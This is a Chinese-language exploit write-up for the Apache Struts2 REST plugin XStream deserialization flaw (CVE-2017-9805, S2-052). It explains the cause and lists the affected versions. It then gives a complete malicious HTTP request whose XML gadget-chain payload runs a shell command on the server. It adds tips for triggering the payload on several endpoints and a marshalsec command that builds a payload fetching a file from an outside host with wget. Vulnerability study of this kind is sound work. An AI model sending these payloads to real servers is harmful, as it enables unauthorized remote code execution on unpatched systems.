(CVE-2017-9805)s2-052

一、漏洞简介

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名 Content-Type 解析方法


xml application/xml xstream json application/json jsonlib或jackson(可选) xhtml application/xhtml+xml 无 无 application/x-www-form-urlencoded 无 无 multipart/form-data 无

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedgetType。

总得来说,用了Struts2-Rest-Plugin插件,这个插件是根据Content-Type或者扩展名来选择解析方法,xstream在默认情况下是可以引入任意对象的,所以他在处理xml的时候会发生RCE(xstream处理xml数据时,未对数据做任何过滤,在反序列化将xml数据转换成object时导致的RCE)。利用起来就是改Content-Type或扩展名 .xml application/xml 发恶意xml

二、漏洞影响

Struts 2.1.2 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

三、复现过程

POC

没回显 Response 500 但命令执行

POST /orders/3 HTTP/1.1
Host: 10.17.14.18:8081
Content-Length: 1655
Cache-Control: max-age=0
Origin: http://www.0-sec.org:8081
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.17.14.18:8081/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Cookie: JSESSIONID=249144A9BEB141072470A76C2A61D663
Connection: close

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

访问ip:port 直接到/orders 你可以直接change method 然后加上body 改Content-type 为xml Response status code 500 执行成功了(不要怀疑 我也怀疑 后来看了一下文件 是真的)

也可以编辑之后保存 会有一个POST /orders/5 或者其他数字 有body的 改掉body 改Content-type 为xml 也可以执行

编辑完之后还会有一个/orders.xhtml?statusCode=303 change method 删掉body 改Content-type 为xml 文件名就不用改了 不然404了

payload生成 下载 https://github.com/ianxtianxt/marshalsec mvn clean package -DskipTests java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO wget www.0-sec.org -O /tmp/1.html >1.txt 注:针对XStream支持很多种Payload,找一个Struts2也支持的即可,需要找到Struts2库中适用的gedget(事实上我找了,都试了,只有ImageIO好使,文章的都是骗人了,哭了)